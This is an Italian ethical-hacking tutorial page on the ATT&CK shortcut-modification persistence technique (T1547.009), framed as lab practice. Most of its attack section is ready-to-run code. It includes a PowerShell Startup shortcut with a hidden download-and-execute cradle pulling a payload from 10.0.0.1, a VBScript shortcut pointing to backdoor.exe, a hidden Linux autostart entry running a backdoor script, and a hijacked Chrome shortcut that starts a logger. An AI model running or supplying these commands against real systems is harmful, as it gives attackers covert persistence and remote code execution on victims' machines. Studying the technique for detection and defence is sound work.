Modifica di Shortcut: Boot or Logon Autostart Execution: Shortcut Modification (T1547.009)

La modifica di shortcut rappresenta una tecnica sofisticata per mantenere l'accesso persistente ai sistemi compromessi. Gli attaccanti creano o alterano file .lnk nelle cartelle di avvio automatico, garantendosi l'esecuzione del loro malware ad ogni riavvio o login dell'utente.

Questa tecnica si manifesta principalmente nelle tattiche TA0003 (Persistence) e TA0004 (Privilege Escalation). Durante la fase di persistenza, permette agli avversari di sopravvivere a riavvii di sistema e modifiche di credenziali. Nella fase di escalation dei privilegi, consente l'esecuzione di codice in contesti elevati attraverso shortcut modificati che puntano a eseguibili malevoli.

L'impatto di questa tecnica è significativo: 4 gruppi APT documentati la utilizzano attivamente, insieme a 25 software malevoli che implementano questa metodologia. La sua popolarità deriva dalla semplicità di implementazione e dalla difficoltà di rilevamento quando eseguita correttamente.

Per comprendere questa tecnica, iniziamo creando un shortcut malevolo in Windows. Il comando PowerShell seguente genera un .lnk che esegue il nostro payload:

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\legitimate.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\cmd.exe"
$Shortcut.Arguments = "/c powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payload.ps1')"
$Shortcut.Save()

Questo approccio rispecchia le tecniche usate da Lazarus Group, che mantiene persistenza creando shortcut nella cartella Startup dell'utente. La bellezza di questa tecnica sta nel mascheramento: possiamo modificare l'icona del shortcut per farlo apparire come un'applicazione legittima.

Un metodo alternativo sfrutta VBScript per maggiore compatibilità:

echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs
echo sLinkFile = "%USERPROFILE%\Start Menu\Programs\Startup\msupdate.lnk" >> CreateShortcut.vbs
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs
echo oLink.TargetPath = "C:\Temp\backdoor.exe" >> CreateShortcut.vbs
echo oLink.Save >> CreateShortcut.vbs
cscript CreateShortcut.vbs

Per testare su Linux, possiamo creare shortcut desktop malevoli che si attivano all'avvio della sessione grafica. Il file .desktop va posizionato in ~/.config/autostart/:

echo "[Desktop Entry]" > ~/.config/autostart/system-update.desktop
echo "Type=Application" >> ~/.config/autostart/system-update.desktop
echo "Exec=/tmp/backdoor.sh" >> ~/.config/autostart/system-update.desktop
echo "Hidden=true" >> ~/.config/autostart/system-update.desktop
echo "NoDisplay=true" >> ~/.config/autostart/system-update.desktop

Un approccio più sofisticato prevede la modifica di shortcut esistenti. APT39 eccelle in questa tecnica, alterando i target path di applicazioni legittime. In laboratorio, possiamo replicare modificando un shortcut di Chrome per eseguire prima il nostro payload:

$shortcut = (New-Object -COM WScript.Shell).CreateShortcut("C:\Users\Public\Desktop\Chrome.lnk")
$originalTarget = $shortcut.TargetPath
$shortcut.TargetPath = "C:\Windows\System32\cmd.exe"
$shortcut.Arguments = "/c start C:\malware\logger.exe & start $originalTarget"
$shortcut.Save()

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.